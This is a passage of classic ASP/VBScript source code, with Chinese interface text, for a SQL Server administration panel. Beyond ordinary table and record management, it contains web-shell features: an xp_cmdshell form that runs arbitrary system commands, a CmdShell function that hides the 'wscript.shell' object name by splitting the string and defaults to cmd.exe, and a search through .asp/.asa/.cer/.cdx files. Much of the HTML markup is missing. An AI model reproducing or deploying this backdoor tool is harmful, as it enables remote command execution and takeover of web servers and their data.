" & vbCrLf strResult = strResult & "" strResult = strResult & "" & vbCrLf i = 0 For Each Field In Rs.Fields ReDim myArrBinary(i) strResult = strResult & "" & vbCrLf myArrBinary(i) = (Field.Type = 128 Or Field.Type = 204 Or Field.Type = 205) i = i + 1 Next strResult = strResult & "" & vbCrLf strResult = strResult & "" & vbCrLf i = 0 Do While Not Rs.EOF If myMaxCount > 0 And i > myMaxCount Then Exit Do strResult = strResult & "" & vbCrLf j = 0 For Each Field In Rs.Fields If isNull(Field.Value) Then myStrValue = "(Null)" ElseIf myArrBinary(j) Then myArrTmp= bin2hex(Field.Value, maxdisplayedbin) If myArrTmp(1) Then myStrValue = txt2html(myArrTmp(0)) &" (...)" Else myStrValue = txt2html(myArrTmp(0)) End If Else If strQueryPlan = "" Then myArrTmp= getStrBegin(CStr(Field.Value), maxdisplayedchar) If myArrTmp(1) Then myStrValue = txt2html(myArrTmp(0)) & " (...)" Else myStrValue = txt2html(myArrTmp(0)) End If Else myStrValue = txt2html(CStr(Field.Value)) End If End If strResult = strResult & "" & vbCrLf j = j + 1 Next strResult = strResult & "" & vbCrLf i = i + 1 Rs.MoveNext Loop strResult = strResult & "" & vbCrLf strResult = strResult & "
" & Field.Name & "
" & myStrValue & "
" & vbCrLf strResult = strResult & "
（所影响的行数为 "& Rs.RecordCount &" 行）


" & vbCrLf Else strResult = strResult & "
命令已成功完成。
" & vbCrLf End If Set Rs = Rs.NextRecordset Loop If strQueryPlan <> "" Then Conn.execute "SET SHOWPLAN_TEXT OFF" response.Write(strResult) end if response.Write "

 

" CloseDB end if End Sub Sub XpCmdShell() dim todo,xpCmd todo = Trim(Request.Form("todo")) xpCmd = Trim(Request.Form("XpCmd")) Response.Write ( "
" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ " " & _ "" & _ "" & _ "" & _ "" & _ "
执行Xp_CmdShell
请输入命令字符串 ：(不要输入xp_cmdshell，直接输入cmd命令即可)
exec master..xp_cmdshell " & _ "" & _ "" & _ "

") if todo <> "" then OpenDB call SQLExecutor("exec master..xp_cmdshell '"&replace(replace(xpCmd,"'","''"),chr(34),"''")&"'") CloseDB end if End Sub Function CmdShell() dim ShellPath,SI,aaa,strObject,DEfd,DefCmd,CM,DD strObject = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll" If Request("ShellPath")<>"" Then Session("ShellPath") = Request("ShellPath") ShellPath=Session("ShellPath") if ShellPath="" Then ShellPath = "c:\\windows\\system32\\cmd.exe" If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
CMD 命令行
" SI=SI&"

" SI=SI&"SHELL路径：" SI=SI&"
" Response.Write SI End Function Function FileLink( f ) '设置显示文件的样式 dim vPath vPath =f.Path'取路径 FileLink = "
  • " & vPath & "
    • " End Function Function SearchFile( f, s ) 'f是文件，s是关键字 dim fso,fo,content Set fso = Server.CreateObject("Scripting.FileSystemObject") '建立FSO对象 Set fo = fso.OpenTextFile(f) content = fo.ReadAll'读全部文本到变量content fo.Close SearchFile = inStr(1, content, S, vbTextCompare)>0 '从第一个字符开始检查content里面是否有S End Function Sub SearchFolder( fd, s ) 'fd文件夹路径，s是关键字 dim f,pos,ext,sfd For each f In fd.Files '枚举文件夹下面的每个文件 pos = InStrRev(f.Path, "." ) If pos > 0 Then '取得文件的后缀名 ext = Mid(f.Path, pos + 1 ) Else ext = "" End If If LCase(ext) = "asp" or LCase(ext) = "asa" or LCase(ext) = "cer" or LCase(ext) = "cdx" Then '判断是否是规定文件类型 If SearchFile( f, s ) Then '如果在文件中找到了关键字 则显示出来 Response.Write FileLink(f) FileCount=FileCount+1 End If End If Next For each sfd In fd.SubFolders '对该文件夹的子文件夹进行同样搜索 SearchFolder sfd, s Next End Sub'搜索结束 Sub SearchFileForm() dim FilePath,Filename,strKeyword,strPath,fso,fd strKeyword = Trim(Request.Form("Keyword")) strPath = Trim(Request.Form("Path")) Filename=server.mappath(Request.ServerVariables("SCRIPT_NAME")) if strPath ="" then FilePath=left(Filename,instrrev(Filename,"\")-1) else FilePath=strPath end if Response.write ("


    " & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ " " & _ "
    文件搜索
    当前路径为："& Filename &"
    搜索的关键字：
    搜索的物理路径目录：
    " & _ "   " & _ "
    ") if strKeyword <> "" then FileCount = 0 on error resume next Set fso = Server.CreateObject("Scripting.FileSystemObject") '建立FSO对象 Set fd = fso.GetFolder(strPath&"\") Response.write ("
    " & _ "" & _ "" & _ "" & _ "" & _ "" & _ "" & _ "
    搜索结果
    如下文件符合 " & strKeyword & " 关键字：") SearchFolder fd,strKeyword response.Write("

    共找到"&filecount&"个文件

    ") response.Write"

    " on error goto 0 end if End Sub strScriptName = GetScriptName(0) Call HtmlHeader() Select Case sAction Case "login" : Call LoginValidate Case "leftmenu" : Call ShowLeftMenu Case "mainwin" : Call ShowMainWindow Case "dbsrcbox" : Call DataSrcForm Case "dbsrcset" : Call DataSrcSetting Case "listtb" : Call ListTable Case "edittb" : Call EditTable Case "cleartb" : Call ClearTable Case "deletetb" : Call DeleteTable Case "editfield" : Call EditField Case "savefield" : Call SaveField Case "addfield" : Call EditField Case "deletefield" : Call DeleteField Case "listrec" : Call ListRecords Case "editrec" : Call EditRecords Case "addrec" : Call AddRecord Case "updaterec" : Call UpdateRecord Case "delrec" : Call DeleteRecords Case "listvw" : Call ListViews Case "editvw" : Call EditViews Case "showvw" : Call ShowViews Case "delvw" : Call DeleteViews Case "updatevw" : Call UpdateViews Case "listsp" : Call ListStoredProcedure Case "showsp" : Call ViewStoredProcedure Case "editsp" : Call EditStoredProcedure Case "delsp" : Call DeleteStoredProcedure Case "listdb" : Call ListDatabase Case "showdb" : Call ShowDatabaseInfo Case "execsql" : Call ExecSQL case "xpcmdshell" : Call XpCmdShell Case "cmdshell" : Call CmdShell Case "searchfile" : Call SearchFileForm Case Else : Call LoginForm End Select Call HtmlFooter() %>